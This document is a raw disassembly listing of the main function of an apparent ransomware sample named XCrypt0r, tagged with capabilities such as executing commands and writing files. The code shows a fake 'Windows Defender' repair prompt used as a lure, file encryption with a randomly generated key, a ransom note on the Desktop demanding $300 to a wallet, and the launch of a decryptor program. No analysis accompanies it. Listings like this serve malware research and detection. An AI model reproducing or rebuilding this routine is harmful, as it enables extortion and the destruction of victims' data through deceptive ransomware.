Function at 0x4023a6
Capabilities:
Execute command
Get common file path
Write and execute a file
Write file on windows

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push ebx
push ecx
sub esp, 0x68c
call fcn.00402cf0
mov dword [esp + 4], 1
mov dword [esp], 0x4021b9
call sub.KERNEL32.dll_SetConsoleCtrlHandler
sub esp, 8
test eax, eax
jne 0x4023e6
mov eax, 1
jmp 0x4027b5
mov dword [esp], 0
call sub.msvcrt.dll_time
mov ebx, eax
call sub.msvcrt.dll_clock
add eax, ebx
mov dword [esp], eax
call sub.msvcrt.dll_srand
mov dword [ebp - 0x1c], 0
jmp 0x402421
call fcn.00401e04
mov ecx, eax
lea edx, [ebp - 0x60]
mov eax, dword [ebp - 0x1c]
add eax, edx
mov byte [eax], cl
add dword [ebp - 0x1c], 1
cmp dword [ebp - 0x1c], 0x1f
jle 0x40240c
lea eax, [ebp - 0x60]
mov dword [esp], eax
call fcn.00402148
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call fcn.00401e11
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x64], 0
lea eax, [ebp - 0x64]
mov dword [esp + 4], eax
mov dword [esp], 0x40c074
call fcn.0040201b
mov dword [esp + 0xc], 0x24
mov dword [esp + 8], str.Windows_Defender
mov dword [esp + 4], str.The_program_You_are_trying_to_run_is_missing_Dynamic_Link_Library_files._n_nDo_you_want_to_repair_it_
mov dword [esp], 0
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [esp], str.Do_not_close_this_window_or_your_data_might_get_corrupt.
call sub.msvcrt.dll_puts
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call fcn.004021fc
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0
jne 0x4024cb
mov eax, dword [ebp - 0x2c]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov eax, 1
jmp 0x4027b5
mov dword [esp + 4], 0x40c20d
mov dword [esp], str.personal_id.txt
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0
je 0x402505
mov eax, dword [ebp - 0x38]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sub.msvcrt.dll_fputs
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov eax, dword [ebp - 0x34]
mov dword [esp], eax
call sub.msvcrt.dll_free
mov dword [ebp - 0x3c], 0x40c074
mov eax, dword [ebp - 0x64]
mov dword [esp + 8], eax
lea eax, [ebp - 0x60]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.00401570
lea eax, [ebp - 0x168]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x26c]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x28
mov dword [esp], 0
call sub.SHELL32.DLL_SHGetFolderPathA
sub esp, 0x14
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x64]
mov dword [esp + 4], eax
lea eax, [ebp - 0x26c]
mov dword [esp], eax
call fcn.0040201b
lea eax, [ebp - 0x26c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x64]
mov dword [esp + 8], eax
lea eax, [ebp - 0x60]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x3c]
mov dword [esp], eax
call fcn.00401570
cmp dword [ebp - 0x40], 0
je 0x4025f2
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_get_Desktop_path__error__ld__n
call sub.msvcrt.dll_printf
mov eax, 1
jmp 0x4027b5
lea eax, [ebp - 0x168]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x168]
add eax, edx
mov dword [eax], 0x4552215c
mov dword [eax + 4], 0x454d4441
mov dword [eax + 8], 0x7478742e
mov byte [eax + 0xc], 0
lea eax, [ebp - 0x168]
mov dword [esp + 8], eax
mov dword [esp + 4], str.fsutil_file_createnew__s_0
lea eax, [ebp - 0x66c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x66c]
mov dword [esp], eax
call sub.msvcrt.dll_system
mov dword [esp + 4], 0x40c20d
lea eax, [ebp - 0x168]
mov dword [esp], eax
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x130
mov dword [esp + 4], 1
mov dword [esp], str.Oh__What_happened___n_n__Your_files_have_been_encrypted._n_nWhat_does_that_mean__n_n__It_means_that_your_files_are_locked_with_a_key._n_nHow_do_I_unlock_them__n_n__In_order_to_unlock_the_files__run_the_XFix3r.exe_file_and_input_your_key._n_nHow_do_I_get_the_key__n_n__You_can_get_the_key_by_sending_300__to_our_wallet.
call sub.msvcrt.dll_fwrite
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp], str._nFiles_successfully_encrypted__n_n_nPress_any_key_to_continue...
call sub.msvcrt.dll_puts
mov dword [esp + 4], 0x40c20d
mov dword [esp], str.encrypted_files.txt
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x20], 0
jmp 0x4026f5
mov eax, dword [ebp - 0x20]
mov eax, dword [eax*4 + 0x40fa40]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40c3ea
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.msvcrt.dll_fprintf
add dword [ebp - 0x20], 1
mov eax, dword [0x40f020]
cmp dword [ebp - 0x20], eax
jl 0x4026d0
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp + 4], 0x40c20d
mov dword [esp], str.filecount.txt
call sub.msvcrt.dll_fopen
mov dword [ebp - 0x38], eax
mov eax, dword [0x40f020]
mov dword [esp + 8], eax
mov dword [esp + 4], 0x40c3fc
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.msvcrt.dll_fprintf
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.msvcrt.dll_fclose
mov dword [esp], 0x40c3ff
call sub.msvcrt.dll_system
mov dword [ebp - 0x24], 0
jmp 0x402773
mov eax, dword [ebp - 0x24]
mov eax, dword [eax*4 + 0x40fa40]
mov dword [esp], eax
call sub.msvcrt.dll_free
add dword [ebp - 0x24], 1
mov eax, dword [0x40f020]
cmp dword [ebp - 0x24], eax
jl 0x40275d
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], str.XCrypt0r
mov dword [esp + 4], str.Your_files_have_been_LOCKED__n_nClick_OK_for_more_information.
mov dword [esp], 0
call sub.USER32.dll_MessageBoxA
sub esp, 0x10
mov dword [esp], str.XFix3r.exe
call sub.msvcrt.dll_system
mov eax, 0
lea esp, [ebp - 0xc]
pop ecx
pop ebx
pop edi
pop ebp
lea esp, [ecx - 4]
ret